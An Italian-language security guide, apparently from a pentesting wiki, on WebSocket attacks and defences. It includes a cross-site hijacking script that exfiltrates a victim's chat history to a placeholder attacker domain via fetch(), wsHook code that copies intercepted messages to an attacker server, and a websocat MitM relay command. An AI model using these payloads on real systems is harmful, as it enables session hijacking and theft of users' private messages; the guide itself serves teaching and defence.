WebSocket Attacks

Reading time: 11 minutes

Cosa sono i WebSocket

Le connessioni WebSocket vengono stabilite attraverso un iniziale HTTP handshake e sono progettate per essere a lungo termine, consentendo la messaggistica bidirezionale in qualsiasi momento senza la necessità di un sistema transazionale. Questo rende i WebSocket particolarmente vantaggiosi per le applicazioni che richiedono bassa latenza o comunicazione avviata dal server, come i flussi di dati finanziari in tempo reale.

Stabilimento delle Connessioni WebSocket

Una spiegazione dettagliata su come stabilire connessioni WebSocket può essere accessibile qui. In sintesi, le connessioni WebSocket sono solitamente avviate tramite JavaScript lato client come mostrato di seguito:

var ws = new WebSocket("wss://normal-website.com/ws")

Il protocollo wss indica una connessione WebSocket protetta con TLS, mentre ws indica una connessione non protetta.

Durante l'instaurazione della connessione, viene eseguito un handshake tra il browser e il server tramite HTTP. Il processo di handshake prevede che il browser invii una richiesta e il server risponda, come illustrato nei seguenti esempi:

Il browser invia una richiesta di handshake:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Risposta di handshake del server:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

La connessione rimane aperta per lo scambio di messaggi in entrambe le direzioni una volta stabilita.

Punti chiave del handshake WebSocket:

• Gli header Connection e Upgrade segnalano l'inizio di un handshake WebSocket.
• L'header Sec-WebSocket-Version indica la versione del protocollo WebSocket desiderata, di solito 13.
• Un valore casuale codificato in Base64 viene inviato nell'header Sec-WebSocket-Key, garantendo che ogni handshake sia unico, il che aiuta a prevenire problemi con i proxy di caching. Questo valore non è per l'autenticazione ma per confermare che la risposta non sia generata da un server o da una cache mal configurati.
• L'header Sec-WebSocket-Accept nella risposta del server è un hash del Sec-WebSocket-Key, verificando l'intenzione del server di aprire una connessione WebSocket.

Queste caratteristiche garantiscono che il processo di handshake sia sicuro e affidabile, aprendo la strada a una comunicazione in tempo reale efficiente.

Console Linux

Puoi usare websocat per stabilire una connessione raw con un websocket.

websocat --insecure wss://10.10.10.10:8000 -v

O per creare un server websocat:

websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM websocket connections

Se scopri che i client sono connessi a un HTTP websocket dalla tua attuale rete locale, potresti provare un ARP Spoofing Attack per eseguire un attacco MitM tra il client e il server.
Una volta che il client sta cercando di connettersi, puoi quindi utilizzare:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Enumerazione dei Websockets

Puoi utilizzare il tool https://github.com/PalindromeLabs/STEWS per scoprire, identificare e cercare vulnerabilità note nei websockets automaticamente.

Strumenti di Debug per Websocket

• Burp Suite supporta la comunicazione MitM dei websockets in modo molto simile a come lo fa per la comunicazione HTTP regolare.
• L'estensione socketsleuth di Burp Suite ti permetterà di gestire meglio le comunicazioni Websocket in Burp ottenendo la cronologia, impostando regole di intercettazione, utilizzando regole di corrispondenza e sostituzione, usando Intruder e AutoRepeater.
• WSSiP: Abbreviazione di "WebSocket/Socket.io Proxy", questo strumento, scritto in Node.js, fornisce un'interfaccia utente per catturare, intercettare, inviare messaggi personalizzati e visualizzare tutte le comunicazioni WebSocket e Socket.IO tra il client e il server.
• wsrepl è un REPL websocket interattivo progettato specificamente per il penetration testing. Fornisce un'interfaccia per osservare i messaggi websocket in arrivo e inviarne di nuovi, con un framework facile da usare per automatizzare questa comunicazione.
• https://websocketking.com/ è un web per comunicare con altri web utilizzando websockets.
• https://hoppscotch.io/realtime/websocket tra altri tipi di comunicazioni/protocolli, fornisce un web per comunicare con altri web utilizzando websockets.

Decrittazione del Websocket

• https://github.com/Anof-cyber/PyCript
• https://github.com/Anof-cyber/PyCript-WebSocket/

Laboratorio Websocket

In Burp-Suite-Extender-Montoya-Course hai un codice per lanciare un web utilizzando websockets e in questo post puoi trovare una spiegazione.

Fuzzing del Websocket

L'estensione di burp Backslash Powered Scanner ora consente di fuzzare anche i messaggi WebSocket. Puoi leggere ulteriori informazioni su questo qui.

Hijacking WebSocket Cross-site (CSWSH)

L'hijacking WebSocket cross-site, noto anche come hijacking WebSocket cross-origin, è identificato come un caso specifico di Cross-Site Request Forgery (CSRF) che colpisce i handshake WebSocket. Questa vulnerabilità si verifica quando i handshake WebSocket si autenticano esclusivamente tramite HTTP cookies senza token CSRF o misure di sicurezza simili.

Gli attaccanti possono sfruttare questo ospitando una pagina web malevola che avvia una connessione WebSocket cross-site a un'applicazione vulnerabile. Di conseguenza, questa connessione viene trattata come parte della sessione della vittima con l'applicazione, sfruttando la mancanza di protezione CSRF nel meccanismo di gestione delle sessioni.

Affinché questo attacco funzioni, questi sono i requisiti:

• L'autenticazione websocket deve essere basata su cookie
• Il cookie deve essere accessibile dal server degli attaccanti (questo di solito significa SameSite=None) e non deve essere abilitata la Protezione Totale dei Cookie di Firefox in Firefox e non devono essere bloccati i cookie di terze parti in Chrome.
• Il server websocket non deve controllare l'origine della connessione (o questo deve essere bypassabile)

Inoltre:

• Se l'autenticazione è basata su una connessione locale (a localhost o a una rete locale) l'attacco sarà possibile poiché nessuna protezione attuale lo vieta (controlla ulteriori informazioni qui)

Attacco Semplice

Nota che quando si stabilisce una connessione websocket, il cookie viene inviato al server. Il server potrebbe utilizzarlo per relazionare ogni singolo utente con la sua sessione websocket basata sul cookie inviato.

Quindi, se per esempio il server websocket restituisce la cronologia della conversazione di un utente se viene inviato un messaggio con "READY", allora un semplice XSS stabilendo la connessione (il cookie verrà inviato automaticamente per autorizzare l'utente vittima) inviando "READY" sarà in grado di recuperare la cronologia della conversazione.

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

Cross Origin + Cookie con un sottodominio diverso

In questo post del blog https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ l'attaccante è riuscito a eseguire Javascript arbitrario in un sottodominio del dominio in cui avveniva la comunicazione tramite web socket. Poiché si trattava di un sottodominio, il cookie veniva inviato, e poiché il Websocket non controllava correttamente l'Origin, era possibile comunicare con esso e rubare token da esso.

Rubare dati dall'utente

Copia l'applicazione web che desideri impersonare (i file .html ad esempio) e all'interno dello script in cui avviene la comunicazione tramite websocket aggiungi questo codice:

//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}

Ora scarica il file wsHook.js da https://github.com/skepticfx/wshook e salvalo all'interno della cartella con i file web.
Esporre l'applicazione web e far connettere un utente ad essa ti permetterà di rubare i messaggi inviati e ricevuti tramite websocket:

sudo python3 -m http.server 80

Protezioni CSWSH

L'attacco CSWSH si basa sul fatto che un utente si connetterà a una pagina malevola che aprirà una connessione websocket a una pagina web a cui l'utente è già connesso e si autenticherà come lui poiché la richiesta invierà i cookie dell'utente.

Oggigiorno, è molto facile prevenire questo problema:

• Controllo dell'origine del server websocket: Il server websocket dovrebbe sempre controllare da dove un utente si sta connettendo per prevenire che pagine inaspettate si connettano ad esso.
• Token di autenticazione: Invece di basare l'autenticazione su un cookie, la connessione websocket potrebbe essere basata su un token generato dal server per l'utente sconosciuto all'attaccante (come un token anti-CSRF).
• Attributo Cookie SameSite: I cookie con valore SameSite impostato su Lax o Strict non verranno inviati da una pagina di attaccanti esterni al server vittima, pertanto, l'autenticazione basata su cookie non avrà successo. Nota che Chrome ora imposta il valore Lax sui cookie senza questo flag specificato rendendoli più sicuri per impostazione predefinita. Tuttavia, nei primi 2 minuti dalla creazione di un cookie, avrà il valore None rendendolo vulnerabile durante quel periodo limitato di tempo (si prevede anche che questa misura sarà rimossa a un certo punto).
• Protezione totale dei cookie di Firefox: La Protezione totale dei cookie funziona isolando i cookie al sito in cui sono stati creati. Essenzialmente, ogni sito ha la propria partizione di archiviazione dei cookie per prevenire che terze parti colleghino la cronologia di navigazione di un utente. Questo rende CSWSH inutilizzabile poiché il sito degli attaccanti non avrà accesso ai cookie.
• Blocco dei cookie di terze parti di Chrome: Questo potrebbe anche prevenire l'invio del cookie dell'utente autenticato al server websocket anche con SameSite=None.

Condizioni di gara

Le condizioni di gara nei WebSocket sono anche un problema, controlla queste informazioni per saperne di più.

Altre vulnerabilità

Poiché i Web Sockets sono un meccanismo per inviare dati al lato server e al lato client, a seconda di come il server e il client gestiscono le informazioni, i Web Sockets possono essere utilizzati per sfruttare diverse altre vulnerabilità come XSS, SQLi o qualsiasi altra vulnerabilità web comune utilizzando l'input di un utente da un websocket.

WebSocket Smuggling

Questa vulnerabilità potrebbe consentirti di bypassare le restrizioni dei proxy inversi facendoli credere che una comunicazione websocket sia stata stabilita (anche se non è vero). Questo potrebbe consentire a un attaccante di accedere a endpoint nascosti. Per ulteriori informazioni controlla la seguente pagina:

Upgrade Header Smuggling

Riferimenti

• https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages
• https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/